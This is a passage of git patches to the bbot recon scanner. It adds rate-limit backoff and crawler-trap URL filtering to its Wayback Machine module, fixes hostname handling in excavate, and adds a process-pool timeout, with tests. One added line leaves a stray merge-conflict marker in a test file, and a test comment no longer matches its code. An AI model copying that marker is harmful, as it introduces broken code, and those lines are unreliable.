finish(self): self.info(f"Archive loading complete: {succeeded:,}/{total:,} succeeded") async def _fetch_archive_batch(self, url_metadata, total, processed_offset): - """Fetch a batch of archive URLs. Returns (failed_urls, success_count, processed_count).""" + """Fetch a batch of archive URLs with per-request retry and rate-limit handling. + + Returns (failed_urls, success_count, processed_count). + """ failed = [] succeeded = 0 processed = processed_offset - gen = self.helpers.request_batch( - list(url_metadata), threads=self._archive_threads, timeout=self.http_timeout + 30, follow_redirects=True - ) - async for archive_url, r in gen: + for archive_url, (raw_url, parent_event) in url_metadata.items(): processed += 1 - raw_url, parent_event = url_metadata[archive_url] + + r = await self._fetch_single_archive_url(archive_url, raw_url) if not r or r.status_code != 200: status = getattr(r, "status_code", "no response") if r else "no response" - self.verbose(f"Archive fetch failed for {raw_url}: status={status}") + self.verbose(f"Archive fetch failed for {raw_url} after retries: status={status}") failed.append(archive_url) continue @@ -438,10 +445,73 @@ async def _fetch_archive_batch(self, url_metadata, total, processed_offset): succeeded += 1 if processed % 50 == 0 or processed == total: - self.verbose(f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed)") + self.verbose( + f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed)" + ) + + # pace requests to avoid triggering rate limits + await self.helpers.sleep(self._archive_delay) return failed, succeeded, processed + async def _fetch_single_archive_url(self, archive_url, raw_url): + """Fetch a single archive URL with per-request retry, 429 handling, and backoff. + + archive.org rate-limits CDX at ~60 req/min and blocks the IP at the firewall + if 429 responses are ignored for more than a minute. We must respect 429 + Retry-After. + """ + r = None + for attempt in range(self._archive_per_request_retries): + try: + r = await self.helpers.request( + archive_url, timeout=self.http_timeout + 60, follow_redirects=True, raise_error=True + ) + except Exception as e: + r = None + if attempt < self._archive_per_request_retries - 1: + delay = self._archive_error_delay * (2**attempt) + self.verbose( + f"Archive fetch error for {raw_url} (attempt {attempt + 1}/{self._archive_per_request_retries}): " + f"{e} -- retrying in {delay}s" + ) + await self.helpers.sleep(delay) + else: + self.verbose( + f"Archive fetch error for {raw_url} (final attempt {attempt + 1}/{self._archive_per_request_retries}): {e}" + ) + continue + + if r.status_code == 429: + retry_after = r.headers.get("retry-after", "") + try: + delay = min(int(retry_after), 120) + except (ValueError, TypeError): + delay = self._archive_429_default_delay + self.verbose(f"Archive.org rate limit (429) for {raw_url}, sleeping {delay}s") + await self.helpers.sleep(delay) + r = None + continue + + if r.status_code == 200: + return r + + # non-200, non-429 status + if attempt < self._archive_per_request_retries - 1: + delay = self._archive_error_delay * (2**attempt) + self.verbose( + f"Archive fetch got HTTP {r.status_code} for {raw_url} " + f"(attempt {attempt + 1}/{self._archive_per_request_retries}), retrying in {delay}s" + ) + await self.helpers.sleep(delay) + else: + self.verbose( + f"Archive fetch got HTTP {r.status_code} for {raw_url} " + f"(final attempt {attempt + 1}/{self._archive_per_request_retries})" + ) + r = None + + return r + async def _process_archive_response(self, r, raw_url, parent_event): """Process a successful archive.org response into an HTTP_RESPONSE event. Returns True on success.""" # deduplicate by the actual response URL archive.org served (after redirects) diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 576f2b1723..ef4e87780e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -515,6 +515,4 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags] - assert len(http_responses) == 1, ( - f"Expected 1 archived HTTP_RESPONSE from retry, got {len(http_responses)}" - ) + assert len(http_responses) == 1, f"Expected 1 archived HTTP_RESPONSE from retry, got {len(http_responses)}" From ab154c8a18fc659f4a0815edfc8e581a9e5f98d1 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 19 Feb 2026 00:41:12 -0500 Subject: [PATCH 458/912] improving wayback delay system --- bbot/modules/wayback.py | 42 ++++++- .../module_tests/test_module_wayback.py | 104 ++++++++++++++++++ 2 files changed, 142 insertions(+), 4 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 9e7a06ba8e..465377f4b6 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,4 +1,5 @@ import re +from collections import Counter from datetime import datetime from urllib.parse import parse_qs, urlparse, urlunparse @@ -31,6 +32,24 @@ class wayback(subdomain_enum): interesting_extensions = frozenset({"zip", "sql", "bak", "env", "config"}) interesting_compound_extensions = frozenset({"tar.gz", "tar.bz2"}) + # maximum URL length before we consider it garbage (crawler traps produce absurdly long URLs) + _max_url_length = 2000 + # if any single path segment repeats more than this many times, it's a path loop / crawler trap + _max_path_segment_repeats = 3 + + def _is_garbage_url(self, url): + """Detect crawler-trap URLs with repeating path segments or excessive length.""" + if len(url) > self._max_url_length: + return True + path = urlparse(url).path + if not path: + return False + segments = [s for s in path.split("/") if s] + if not segments: + return False + counts = Counter(segments) + return counts.most_common(1)[0][1] > self._max_path_segment_repeats + def _is_interesting_file(self, url): ext = get_file_extension(url) if ext and ext.lower() in self.interesting_extensions: @@ -199,7 +218,7 @@ async def _check_interesting_files(self, interesting_files, event): _cdx_limit = 100000 async def _fetch_cdx(self, query): - """Fetch URLs from the CDX API with retries. Returns the URL list or None on failure.""" + """Fetch URLs from the CDX API with retries and 429 handling. Returns the URL list or None on failure.""" params = f"url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" params += f"&limit={self._cdx_limit}" params += "&" + "&".join(self._cdx_filters) @@ -215,6 +234,17 @@ async def _fetch_cdx(self, query): if r is not None: if r.status_code == 200: break + if r.status_code == 429: + retry_after = r.headers.get("retry-after", "") + try: + delay = min(int(retry_after), 120) + except (ValueError, TypeError): + delay = self._archive_429_default_delay + last_error = "HTTP 429 rate limited" + self.verbose(f'Archive.org rate limit (429) for CDX query "{query}", sleeping {delay}s') + await self.helpers.sleep(delay) + r = None + continue last_error = f"HTTP status {r.status_code}" r = None if i < 2: @@ -244,6 +274,8 @@ def _pre_process_urls(self, urls): parsed = urlparse(url) if any(bl in url for bl in self.url_blacklist): continue + if self._is_garbage_url(url): + continue if not (parsed.hostname and self.scan.in_scope(parsed.hostname)): continue @@ -283,8 +315,10 @@ async def query(self, query): self.verbose(f"Found {len(urls):,} URLs for {query}") - # filter blacklisted URLs before any further processing - urls = [url for url in urls if not any(bl in url for bl in self.url_blacklist)] + # filter blacklisted and garbage URLs before any further processing + urls = [ + url for url in urls if not any(bl in url for bl in self.url_blacklist) and not self._is_garbage_url(url) + ] # pre-extract metadata from raw URLs before collapse strips query strings raw_url_params, archive_urls, interesting_files = {}, {}, {} @@ -395,7 +429,7 @@ async def finish(self): return total = len(url_metadata) - self.info(f"Fetching {total:,} archived pages from archive.org (concurrency={self._archive_threads})") + self.info(f"Fetching {total:,} archived pages from archive.org") failed, succeeded, processed = await self._fetch_archive_batch(url_metadata, total, 0) diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index ef4e87780e..9ee842a8fb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -497,6 +497,9 @@ class TestWaybackArchiveRetry(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): + # speed up retries for testing + module_test.scan.modules["wayback"]._archive_error_delay = 0.01 + module_test.scan.modules["wayback"]._archive_delay = 0 module_test.blasthttp_mock.add_response( url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/retry-page"]], @@ -516,3 +519,104 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags] assert len(http_responses) == 1, f"Expected 1 archived HTTP_RESPONSE from retry, got {len(http_responses)}" + + +class TestWaybackGarbageUrlFilter(ModuleTestBase): + """Crawler-trap URLs with repeating path segments should be filtered out.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + whitelist = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + async def setup_after_prep(self, module_test): + # build a crawler-trap URL with repeating path segments (like the real-world example) + repeating = "/themes/sites/example.com".lstrip("/") + garbage_path = "/get-materials/" + "/".join([repeating] * 20) + garbage_url = f"https://blacklanternsecurity.com{garbage_path}" + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[ + ["original"], + [garbage_url], + ["https://blacklanternsecurity.com/real-page"], + ], + ) + + def check(self, module_test, events): + # garbage URL should be filtered + assert not any(e.type == "URL_UNVERIFIED" and "get-materials" in e.data for e in events), ( + "Crawler-trap URL with repeating path segments should have been filtered" + ) + # real page should still be emitted + assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.data for e in events), ( + "Non-garbage URL should have been emitted" + ) + + +class TestWaybackGarbageUrlLength(ModuleTestBase): + """Excessively long URLs should be filtered out as garbage.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + whitelist = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + async def setup_after_prep(self, module_test): + # URL exceeding 2000 character limit + long_url = "https://blacklanternsecurity.com/" + "a" * 2000 + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[ + ["original"], + [long_url], + ["https://blacklanternsecurity.com/normal-page"], + ], + ) + + def check(self, module_test, events): + # long URL should be filtered + assert not any(e.type == "URL_UNVERIFIED" and "aaaa" in e.data for e in events), ( + "Excessively long URL should have been filtered" + ) + # normal page should still be emitted + assert any(e.type == "URL_UNVERIFIED" and "normal-page" in e.data for e in events), ( + "Normal-length URL should have been emitted" + ) + + +class TestWaybackArchive429Retry(ModuleTestBase): + """Archive fetches that get 429 rate-limited should back off and retry successfully.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} + + async def setup_after_prep(self, module_test): + # speed up delays for testing + module_test.scan.modules["wayback"]._archive_429_default_delay = 0.01 + module_test.scan.modules["wayback"]._archive_error_delay = 0.01 + module_test.scan.modules["wayback"]._archive_delay = 0 + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], ["http://127.0.0.1:1/rate-limited-page"]], + ) + # first attempt: 429 rate limited + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page", + status_code=429, + headers={"Retry-After": "1"}, + ) + # retry after backoff: 200 + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/rate-limited-page", + text="<html><body>content after rate limit</body></html>", + headers={"Content-Type": "text/html"}, + ) + + def check(self, module_test, events): + http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags] + assert len(http_responses) == 1, ( + f"Expected 1 archived HTTP_RESPONSE after 429 retry, got {len(http_responses)}" + ) From 454f1698a1df645125a9ec9aabbcaa1f000bf537 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 19 Feb 2026 07:40:35 -0500 Subject: [PATCH 459/912] make cpu heavy processing non-blocking --- bbot/modules/wayback.py | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 465377f4b6..cfd6a293bd 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -3,11 +3,21 @@ from datetime import datetime from urllib.parse import parse_qs, urlparse, urlunparse +import orjson + from bbot.core.helpers.misc import get_file_extension from bbot.core.helpers.validators import clean_url from bbot.modules.templates.subdomain_enum import subdomain_enum +def _parse_cdx_response(text): + """Parse CDX JSON response text into a URL list. Designed to run in a separate process.""" + j = orjson.loads(text) + if not isinstance(j, list): + return None + return [result[0] for result in j[1:] if result] + + class wayback(subdomain_enum): flags = ["safe", "passive", "subdomain-enum"] watched_events = ["DNS_NAME", "URL"] @@ -255,13 +265,16 @@ async def _fetch_cdx(self, query): if r is None: self.warning(f'Error connecting to archive.org for query "{query}": {last_error}') return None + # parse JSON + extract URLs in a separate process to avoid blocking the event loop + # (CDX responses can contain 100k+ entries) try: - j = r.json() - assert type(j) == list + urls = await self.helpers.run_in_executor_mp(_parse_cdx_response, r.text) except Exception: + urls = None + if urls is None: self.warning(f'Error JSON-decoding archive.org response for query "{query}"') return None - return [result[0] for result in j[1:] if result] + return urls def _pre_process_urls(self, urls): """Extract parameters, archive URLs, and interesting files from raw CDX URLs before collapse.""" From ec111a90e67a9df4011942b586e2e8847c91c481 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 19 Feb 2026 09:23:20 -0500 Subject: [PATCH 460/912] make max_records configurable, fix archive retry logic, demote log level - Add max_records option (default 100000) for CDX API limit - Only retry archive fetches on connection errors/429, not on definitive HTTP status codes - Change "Loading archived URLs" message from hugeinfo to verbose - Update retry test to use ReadError instead of 503 --- bbot/modules/wayback.py | 29 +++++-------------- .../module_tests/test_module_wayback.py | 3 +- 2 files changed, 8 insertions(+), 24 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index cfd6a293bd..7071b6f0f6 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -27,12 +27,13 @@ class wayback(subdomain_enum): "created_date": "2022-04-01", "author": "@liquidsec", } - options = {"urls": False, "garbage_threshold": 10, "parameters": False, "archive": False} + options = {"urls": False, "garbage_threshold": 10, "parameters": False, "archive": False, "max_records": 100000} options_desc = { "urls": "emit URLs in addition to DNS_NAMEs", "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", "parameters": "emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true)", "archive": "fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true)", + "max_records": "Maximum number of URLs to fetch from the CDX API", } in_scope_only = True @@ -87,6 +88,7 @@ async def setup(self): self.hugewarning("archive option requires urls to be enabled. Please add modules.wayback.urls=True") return False self.garbage_threshold = self.config.get("garbage_threshold", 10) + self.max_records = self.config.get("max_records", 100000) self._parameter_cache = {} self._archive_cache = {} # bloom filter to deduplicate archive fetches by the response URL archive.org actually served @@ -225,12 +227,10 @@ async def _check_interesting_files(self, interesting_files, event): "filter=!mimetype:text/css", "filter=!mimetype:warc/revisit", ) - _cdx_limit = 100000 - async def _fetch_cdx(self, query): """Fetch URLs from the CDX API with retries and 429 handling. Returns the URL list or None on failure.""" params = f"url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" - params += f"&limit={self._cdx_limit}" + params += f"&limit={self.max_records}" params += "&" + "&".join(self._cdx_filters) waybackurl = f"{self.base_url}/cdx/search/cdx?{params}" r = None @@ -421,7 +421,7 @@ async def finish(self): if not self.archive or not self._archive_cache: return - self.hugeinfo(f"Loading {len(self._archive_cache):,} archived URLs from the Wayback Machine") + self.verbose(f"Loading {len(self._archive_cache):,} archived URLs from the Wayback Machine") # build combined set of extensions to skip (blacklist + static + special) skip_extensions = set(self.scan.url_extension_blacklist) @@ -539,23 +539,8 @@ async def _fetch_single_archive_url(self, archive_url, raw_url): r = None continue - if r.status_code == 200: - return r - - # non-200, non-429 status - if attempt < self._archive_per_request_retries - 1: - delay = self._archive_error_delay * (2**attempt) - self.verbose( - f"Archive fetch got HTTP {r.status_code} for {raw_url} " - f"(attempt {attempt + 1}/{self._archive_per_request_retries}), retrying in {delay}s" - ) - await self.helpers.sleep(delay) - else: - self.verbose( - f"Archive fetch got HTTP {r.status_code} for {raw_url} " - f"(final attempt {attempt + 1}/{self._archive_per_request_retries})" - ) - r = None + # any other status code (200, 404, 503, etc.) is a definitive answer — return it + return r return r diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 9ee842a8fb..9bbd2b279e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -489,7 +489,7 @@ def check(self, module_test, events): class TestWaybackArchiveRetry(ModuleTestBase): - """Archive fetches that fail on first attempt should be retried and succeed.""" + """Archive fetches that fail transiently (connection error) should be retried and succeed.""" module_name = "wayback" modules_overrides = ["wayback"] @@ -507,7 +507,6 @@ async def setup_after_prep(self, module_test): # first attempt: 503 (archive.org overloaded) module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/retry-page", - status_code=503, ) # retry attempt: 200 module_test.blasthttp_mock.add_response( From 630bbb588f5ddaa3d5c7e09ff27611de84013cbd Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 19 Feb 2026 23:44:46 -0500 Subject: [PATCH 461/912] fix _event_host() using resolved IP instead of URL hostname --- bbot/modules/internal/excavate.py | 26 +++++++++----- .../module_tests/test_module_excavate.py | 35 +++++++++++++++++++ 2 files changed, 52 insertions(+), 9 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 6033a42710..319cc0ee95 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -366,24 +366,32 @@ def in_bl(self, value): return False + def _is_archived(self, event): + """Check if an event represents archived wayback content.""" + return isinstance(event.data, dict) and "archive_url" in event.data + def _event_host(self, event): - """Get the effective host from an event, preferring data["host"] over parsed_url. + """Get the effective host from an event. + + For archived wayback content, data["host"] contains the original target hostname + (since data["url"] points to archive.org). For regular events, we use event.host. - HTTP_RESPONSE._host() derives from parsed_url.hostname (i.e. data["url"]), - but data["host"] may be explicitly overridden (e.g. for archived wayback content - where url is archive.org but host is the original target). + NOTE: Regular HTTP_RESPONSE events also have data["host"], but it contains the + resolved IP from the httpx binary — NOT a hostname override. """ - if isinstance(event.data, dict) and event.data.get("host"): + if self._is_archived(event) and event.data.get("host"): return str(event.data["host"]) return str(event.host) def _event_base_url(self, event): - """Reconstruct the effective base URL from event data fields. + """Get the effective base URL from an event. - For normal HTTP_RESPONSE events, this matches event.parsed_url. - For archived content (e.g. wayback), the data fields (host/scheme/path) - reflect the original URL while parsed_url comes from the archive URL. + For archived wayback content, reconstructs the original URL from override fields + (host/scheme/port/path) since parsed_url points to archive.org. + For regular events, returns event.parsed_url directly. """ + if not self._is_archived(event): + return event.parsed_url scheme = event.data.get("scheme", event.parsed_url.scheme) host = self._event_host(event) port = event.data.get("port") diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 6d56911723..996f8bec9b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1290,6 +1290,41 @@ def check(self, module_test, events): assert not web_parameter_outofscope, "Out of scope domain was emitted" +class TestExcavate_webparameter_ip_host(ModuleTestBase): + """Verify that when the httpx binary resolves a hostname to an IP (data["host"]), + excavate still uses the URL hostname for WEB_PARAMETER host — not the resolved IP. + + This test uses 'localhost' as the target. The httpx binary resolves it to 127.0.0.1 + and sets data["host"] = "127.0.0.1" in its JSON output. Without the archive_url guard + in _event_host(), this IP would be used as the WEB_PARAMETER host, putting it out of + scope and preventing downstream modules (like lightfuzz) from processing it. + """ + + targets = ["http://localhost:8888"] + modules_overrides = ["httpx", "excavate", "hunt"] + config_overrides = {"interactsh_disable": True} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns({"localhost": {"A": ["127.0.0.1"]}}) + module_test.httpserver.expect_request("/").respond_with_data( + "<html><p>hello</p></html>", + status=200, + headers={"Set-Cookie": "session=abc123; Path=/"}, + ) + + def check(self, module_test, events): + web_params = [e for e in events if e.type == "WEB_PARAMETER" and e.data["name"] == "session"] + assert len(web_params) > 0, "WEB_PARAMETER for 'session' cookie was not emitted" + for wp in web_params: + assert wp.data["host"] != "127.0.0.1", ( + f"WEB_PARAMETER host should be 'localhost', not the resolved IP '127.0.0.1'. " + f"excavate._event_host() is using data['host'] (resolved IP) instead of event.host" + ) + assert wp.data["host"] == "localhost", ( + f"WEB_PARAMETER host should be 'localhost', got '{wp.data['host']}'" + ) + + class TestExcavateHeaders(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] modules_overrides = ["excavate", "http", "hunt"] From b11d3ef2a87ee2c48b4298990d9174cafe8b1296 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 20 Feb 2026 22:47:28 -0500 Subject: [PATCH 462/912] skip URL collapse when there are no URLs to process --- bbot/modules/wayback.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 7071b6f0f6..c222cef348 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -338,6 +338,9 @@ async def query(self, query): if self.parameters or self.archive or self.urls: raw_url_params, archive_urls, interesting_files = self._pre_process_urls(urls) + if not urls: + return results, interesting_files + dns_names = set() collapsed_urls = 0 start_time = datetime.now() From 4ab6588c71bd74c2167919f009915eb916a5f0c2 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 23 Feb 2026 13:03:27 -0500 Subject: [PATCH 463/912] ruff format --- bbot/modules/wayback.py | 1 + bbot/test/test_step_2/module_tests/test_module_excavate.py | 4 +--- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index c222cef348..3ced55937d 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -227,6 +227,7 @@ async def _check_interesting_files(self, interesting_files, event): "filter=!mimetype:text/css", "filter=!mimetype:warc/revisit", ) + async def _fetch_cdx(self, query): """Fetch URLs from the CDX API with retries and 429 handling. Returns the URL list or None on failure.""" params = f"url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 996f8bec9b..25d38644f5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1320,9 +1320,7 @@ def check(self, module_test, events): f"WEB_PARAMETER host should be 'localhost', not the resolved IP '127.0.0.1'. " f"excavate._event_host() is using data['host'] (resolved IP) instead of event.host" ) - assert wp.data["host"] == "localhost", ( - f"WEB_PARAMETER host should be 'localhost', got '{wp.data['host']}'" - ) + assert wp.data["host"] == "localhost", f"WEB_PARAMETER host should be 'localhost', got '{wp.data['host']}'" class TestExcavateHeaders(ModuleTestBase): From 786bc09ec8949e43533e207d137da480a4d7d340 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 23 Feb 2026 14:24:24 -0500 Subject: [PATCH 464/912] add timeout and recovery protections to run_in_executor_mp --- bbot/core/helpers/helper.py | 24 +++++++++++++++++++----- bbot/scanner/scanner.py | 4 ++-- bbot/test/test_step_1/test_helpers.py | 27 +++++++++++++++++++++++++++ 3 files changed, 48 insertions(+), 7 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 0d2a1dbb6b..d1d64850ef 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -1,4 +1,6 @@ import os +import sys +import asyncio import logging from pathlib import Path import multiprocessing as mp @@ -83,7 +85,12 @@ def __init__(self, preset): # we spawn 1 fewer processes than cores # this helps to avoid locking up the system or competing with the main python process for cpu time num_processes = max(1, mp.cpu_count() - 1) - self.process_pool = ProcessPoolExecutor(max_workers=num_processes) + pool_kwargs = {"max_workers": num_processes} + # max_tasks_per_child replaces workers after N tasks, preventing memory leaks + # and reducing the chance of a degraded worker process causing hangs + if sys.version_info >= (3, 11): + pool_kwargs["max_tasks_per_child"] = 25 + self.process_pool = ProcessPoolExecutor(**pool_kwargs) self._cloud = None self._blasthttp_client = None @@ -237,17 +244,24 @@ def run_in_executor_cpu(self, callback, *args, **kwargs): callback = partial(callback, **kwargs) return self.loop.run_in_executor(self._cpu_executor, callback, *args) - def run_in_executor_mp(self, callback, *args, **kwargs): + async def run_in_executor_mp(self, callback, *args, **kwargs): """ - Same as run_in_executor_io() except with a process pool executor - Use only in cases where callback is CPU-bound + Same as run_in_executor_io() except with a process pool executor. + Use only in cases where callback is CPU-bound. + + Includes a timeout (default 300s) to prevent indefinite hangs if a + child process dies or the pool enters a broken state. + + Pass ``_timeout=seconds`` to override the default timeout. Examples: Execute callback: >>> result = await self.helpers.run_in_executor_mp(callback_fn, arg1, arg2) """ + timeout = kwargs.pop("_timeout", 300) callback = partial(callback, **kwargs) - return self.loop.run_in_executor(self.process_pool, callback, *args) + future = self.loop.run_in_executor(self.process_pool, callback, *args) + return await asyncio.wait_for(future, timeout=timeout) @property def in_tests(self): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 49c4bb9b56..b5a4712550 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -908,8 +908,8 @@ def _cancel_tasks(self): tasks.append(self._stop_task) self.helpers.cancel_tasks_sync(tasks) - # process pool - self.helpers.process_pool.shutdown(cancel_futures=True) + # process pool (wait=False so a stuck worker can't hang the cleanup) + self.helpers.process_pool.shutdown(wait=False, cancel_futures=True) self.debug("Finished cancelling all scan tasks") return tasks diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 44a83d8394..a8094cd628 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -978,6 +978,7 @@ async def test_rm_temp_dir_at_exit(helpers): assert not temp_dir.exists() +<<<<<<< HEAD def test_simhash_similarity(helpers): """Test SimHash helper with increasingly different HTML pages.""" @@ -1146,3 +1147,29 @@ def test_clean_dns_record(): assert clean_dns_record("'d1jwhzvlef5tfb.example.com'") == "d1jwhzvlef5tfb.example.com" # quotes + trailing dot assert clean_dns_record('"d1jwhzvlef5tfb.example.com."') == "d1jwhzvlef5tfb.example.com" + + +# these must be top-level functions so they can be pickled for the subprocess +def _hang_forever(): + import time + + time.sleep(9999) + + +def _cpu_work(n): + return sum(range(n)) + + +@pytest.mark.asyncio +async def test_run_in_executor_mp(helpers): + # normal tasks should complete fine + result = await helpers.run_in_executor_mp(_cpu_work, 100_000) + assert result == sum(range(100_000)) + + # a hanging task should raise TimeoutError + with pytest.raises(asyncio.TimeoutError): + await helpers.run_in_executor_mp(_hang_forever, _timeout=2) + + # pool should still work after a timeout + result = await helpers.run_in_executor_mp(_cpu_work, 50_000, _timeout=30) + assert result == sum(range(50_000)) From d4e7a58e61a35f505a2ac48a084ee2a4db543196 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Feb 2026 15:41:36 -0500 Subject: [PATCH 465/912] ruff check fixes --- bbot/test/test_step_2/module_tests/test_module_excavate.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 25d38644f5..e45cdbe646 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1317,8 +1317,8 @@ def check(self, module_test, events): assert len(web_params) > 0, "WEB_PARAMETER for 'session' cookie was not emitted" for wp in web_params: assert wp.data["host"] != "127.0.0.1", ( - f"WEB_PARAMETER host should be 'localhost', not the resolved IP '127.0.0.1'. " - f"excavate._event_host() is using data['host'] (resolved IP) instead of event.host" + "WEB_PARAMETER host should be 'localhost', not the resolved IP '127.0.0.1'. " + "excavate._event_host() is using data['host'] (resolved IP) instead of event.host" ) assert wp.data["host"] == "localhost", f"WEB_PARAMETER host should be 'localhost', got '{wp.data['host']}'" From 036a187e003191d38c0790cff7668043bf0a833b Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 6 Mar 2026 14:16:40 -0500 Subject: [PATCH 466/912] Fix three test failures: dedup, validation, and wildcard defense - wayback: override _incoming_dedup_hash for URL events to prevent subdomain_enum's domain-based dedup from collapsing distinct URLs - wayback: fix FINDING confidence "MODERATE" -> "MEDIUM" (valid level) - wayback: use individual requests instead of request_batch for interesting file HEAD checks - subdomain_enum: revert is_target exemption from wildcard rejection --- bbot/modules/templates/subdomain_enum.py | 2 +- bbot/modules/wayback.py | 29 +++++++++++++++++++----- 2 files changed, 24 insertions(+), 7 